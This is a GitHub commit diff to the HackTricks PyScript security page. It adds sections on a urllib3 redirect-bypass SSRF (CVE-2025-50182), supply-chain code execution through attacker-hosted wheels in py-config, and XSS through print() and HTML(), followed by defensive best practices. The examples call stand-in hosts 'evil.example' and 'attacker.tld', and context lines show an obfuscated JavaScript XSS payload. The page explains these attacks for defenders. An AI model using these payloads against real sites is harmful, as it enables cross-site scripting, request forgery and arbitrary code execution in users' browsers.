Skip to content

Commit 22bea23

Browse files
authored
Merge pull request #1240 from HackTricks-wiki/research_update_src_generic-methodologies-and-resources_python_pyscript_20250805_082920
Research Update Enhanced src/generic-methodologies-and-resou...
2 parents 5993af5 + 1ebfa43 commit 22bea23

1 file changed

Lines changed: 64 additions & 3 deletions

File tree

  • src/generic-methodologies-and-resources/python

src/generic-methodologies-and-resources/python/pyscript.md

Lines changed: 64 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -95,7 +95,7 @@ Code:
9595

9696
```html
9797
<py-script>
98-
prinht("
98+
prinht(""
9999
<script>
100100
var _0x3675bf = _0x5cf5
101101
function _0x5cf5(_0xced4e9, _0x1ae724) {
@@ -157,7 +157,7 @@ Code:
157157
return _0x599c()
158158
}
159159
</script>
160-
")
160+
"")
161161
</py-script>
162162
```
163163

@@ -180,7 +180,68 @@ Result:
180180

181181
![](https://user-images.githubusercontent.com/66295316/166848534-3e76b233-a95d-4cab-bb2c-42dbd764fefa.png)
182182

183-
{{#include ../../banners/hacktricks-training.md}}
183+
---
184+
185+
## New vulnerabilities & techniques (2023-2025)
186+
187+
### Server-Side Request Forgery via uncontrolled redirects (CVE-2025-50182)
188+
189+
`urllib3 < 2.5.0` ignores the `redirect` and `retries` parameters when it is executed **inside the Pyodide runtime** that ships with PyScript. When an attacker can influence target URLs, they may force the Python code to follow cross-domain redirects even when the developer explicitly disabled them ‑ effectively bypassing anti-SSRF logic.
190+
191+
```html
192+
<script type="py">
193+
import urllib3
194+
http = urllib3.PoolManager(retries=False, redirect=False) # supposed to block redirects
195+
r = http.request("GET", "https://evil.example/302") # will STILL follow the 302
196+
print(r.status, r.url)
197+
</script>
198+
```
199+
200+
Patched in `urllib3 2.5.0` – upgrade the package in your PyScript image or pin a safe version in `packages = ["urllib3>=2.5.0"]`. See the official CVE entry for details.
201+
202+
### Arbitrary package loading & supply-chain attacks
203+
204+
Since PyScript allows arbitrary URLs in the `packages` list, a malicious actor who can modify or inject configuration can execute **fully arbitrary Python** in the victim’s browser:
205+
206+
```html
207+
<py-config>
208+
packages = ["https://attacker.tld/payload-0.0.1-py3-none-any.whl"]
209+
</py-config>
210+
<script type="py">
211+
import payload # executes attacker-controlled code during installation
212+
</script>
213+
```
184214

215+
*Only pure-Python wheels are required – no WebAssembly compilation step is needed.* Make sure configuration is not user-controlled and host trusted wheels on your own domain with HTTPS & SRI hashes.
185216

217+
### Output sanitisation changes (2023+)
186218

219+
* `print()` still injects raw HTML and is therefore XSS-prone (examples above).
220+
* The newer `display()` helper **escapes HTML by default** – raw markup must be wrapped in `pyscript.HTML()`.
221+
222+
```python
223+
from pyscript import display, HTML
224+
225+
display("<b>escaped</b>") # renders literally
226+
227+
display(HTML("<b>not-escaped</b>")) # executes as HTML -> potential XSS if untrusted
228+
```
229+
230+
This behaviour was introduced in 2023 and is documented in the official Built-ins guide. Rely on `display()` for untrusted input and avoid calling `print()` directly.
231+
232+
---
233+
234+
## Defensive Best Practices
235+
236+
* **Keep packages up to date** – upgrade to `urllib3 >= 2.5.0` and regularly rebuild wheels that ship with the site.
237+
* **Restrict package sources** – only reference PyPI names or same-origin URLs, ideally protected with Sub-resource Integrity (SRI).
238+
* **Harden Content Security Policy** – disallow inline JavaScript (`script-src 'self' 'sha256-…'`) so that injected `<script>` blocks cannot execute.
239+
* **Disallow user-supplied `<py-script>` / `<script type="py">` tags** – sanitise HTML on the server before echoing it back to other users.
240+
* **Isolate workers** – if you do not need synchronous access to the DOM from workers, enable the `sync_main_only` flag to avoid the `SharedArrayBuffer` header requirements.
241+
242+
## References
243+
244+
* [NVD – CVE-2025-50182](https://nvd.nist.gov/vuln/detail/CVE-2025-50182)
245+
* [PyScript Built-ins documentation – `display` & `HTML`](https://docs.pyscript.net/2024.6.1/user-guide/builtins/)
246+
247+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)